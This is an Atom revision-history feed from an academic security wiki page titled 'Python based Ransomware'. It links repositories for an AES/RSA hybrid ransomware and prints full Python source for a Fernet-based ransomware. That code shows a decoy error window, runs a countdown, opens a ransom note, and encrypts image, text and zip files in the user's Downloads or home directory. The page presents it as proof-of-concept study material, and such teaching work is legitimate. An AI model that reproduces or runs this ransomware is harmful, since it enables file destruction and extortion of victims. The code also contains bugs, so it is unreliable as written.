<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://elvis.hcw.ac.at/wiki/index.php?action=history&amp;feed=atom&amp;title=Python_based_Ransomware</id>
	<title>Python based Ransomware - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://elvis.hcw.ac.at/wiki/index.php?action=history&amp;feed=atom&amp;title=Python_based_Ransomware"/>
	<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Python_based_Ransomware&amp;action=history"/>
	<updated>2026-09-10T14:36:24Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.41.5</generator>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Python_based_Ransomware&amp;diff=17698&amp;oldid=prev</id>
		<title>MMezgolits: /* Summary */</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Python_based_Ransomware&amp;diff=17698&amp;oldid=prev"/>
		<updated>2024-12-18T21:00:54Z</updated>

		<summary type="html">&lt;p&gt;&lt;span dir=&quot;auto&quot;&gt;&lt;span class=&quot;autocomment&quot;&gt;Summary&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;background-color: #fff; color: #202122;&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;en&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 21:00, 18 December 2024&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot;&gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Summary ==  &lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== Summary ==  &lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;−&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Various proof-of-concept implementations for a Python-based &lt;del style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;ransomware&lt;/del&gt;.&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot; data-marker=&quot;+&quot;&gt;&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Various proof-of-concept implementations for a Python-based &lt;ins style=&quot;font-weight: bold; text-decoration: none;&quot;&gt;[[Ransomware]]&lt;/ins&gt;.&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;br&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== AES and RSA based CGR ==&lt;/div&gt;&lt;/td&gt;&lt;td class=&quot;diff-marker&quot;&gt;&lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;== AES and RSA based CGR ==&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>MMezgolits</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Python_based_Ransomware&amp;diff=17338&amp;oldid=prev</id>
		<title>MMezgolits: Added AES &amp; RSA ransomware, Capter Fernet key based CGR taken from https://wiki.elvis.science/index.php?title=Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Python_based_Ransomware&amp;diff=17338&amp;oldid=prev"/>
		<updated>2024-12-18T09:21:48Z</updated>

		<summary type="html">&lt;p&gt;Added AES &amp;amp; RSA ransomware, Capter Fernet key based CGR taken from https://wiki.elvis.science/index.php?title=Ransomware&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
Various proof-of-concept implementations for a Python-based ransomware.&lt;br /&gt;
&lt;br /&gt;
== AES and RSA based CGR ==&lt;br /&gt;
&lt;br /&gt;
This section is using a standard AES encryption (symmetric) for encrypting the files. The symmetric key is encrypted with RSA (asymmetric). This procedure is also known as hybrid encryption.&lt;br /&gt;
&lt;br /&gt;
[[File:Hybrid-encryption.png|500px|thumb|right| Hybrid encryption]]&lt;br /&gt;
&lt;br /&gt;
=== Code ===&lt;br /&gt;
&lt;br /&gt;
The Code is available via Git.&lt;br /&gt;
* Client: https://git.fh-campuswien.ac.at/c2210475038/akits&lt;br /&gt;
* Program for decrypting the symmetric key: https://git.fh-campuswien.ac.at/c2210475038/akits-key-decrypt&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
Tested on the following setup:&lt;br /&gt;
* Ubuntu 24.04.01 LTS (amd64) - (VM in Parallels Desktop 18.3.3)&lt;br /&gt;
* Python 3.12.3&lt;br /&gt;
&lt;br /&gt;
==== venv-setup and dependency installation ====&lt;br /&gt;
&lt;br /&gt;
In order to be able to use the virtual environment (venv) of Python, the package must first be installed via your package-manager.&lt;br /&gt;
&lt;br /&gt;
 sudo apt install python3.12-venv‎&lt;br /&gt;
&lt;br /&gt;
Create a new virtual environment:&lt;br /&gt;
&lt;br /&gt;
 python3 -m venv ransomwarevenv&lt;br /&gt;
 source ransomwarevenv/bin/activate&lt;br /&gt;
&lt;br /&gt;
Install the required dependencies:&lt;br /&gt;
 cd &amp;lt;your folder with the cloned client repo&amp;gt;&lt;br /&gt;
 pip install -r requirements.txt&lt;br /&gt;
&lt;br /&gt;
Now you are able to execute the ransomware.&lt;br /&gt;
&lt;br /&gt;
== Fernet key based CGR ==&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Requirements ===&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&amp;#039;Terminal&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&amp;#039;FBI SOMALIA ALERT!&amp;#039;)&lt;br /&gt;
  # root.wm_attributes(&amp;#039;-fullscreen&amp;#039;, &amp;#039;true&amp;#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&amp;#039;jpg&amp;#039;, &amp;#039;txt&amp;#039;, &amp;#039;png&amp;#039; &amp;#039;zip&amp;#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&amp;#039;Close&amp;#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&amp;#039;-fullscreen&amp;#039;, &amp;#039;true&amp;#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&amp;#039;sh mi6.sh&amp;#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&amp;#039;file://&amp;#039; + os.path.realpath(&amp;#039;note.html&amp;#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &amp;#039;{:02d}:{:02d}&amp;#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&amp;#039;file://&amp;#039; + os.path.realpath(&amp;#039;success.html&amp;#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&amp;#039;keyfile&amp;#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&amp;#039;file://&amp;#039; + os.path.realpath(&amp;#039;fail.html&amp;#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>MMezgolits</name></author>
	</entry>
</feed>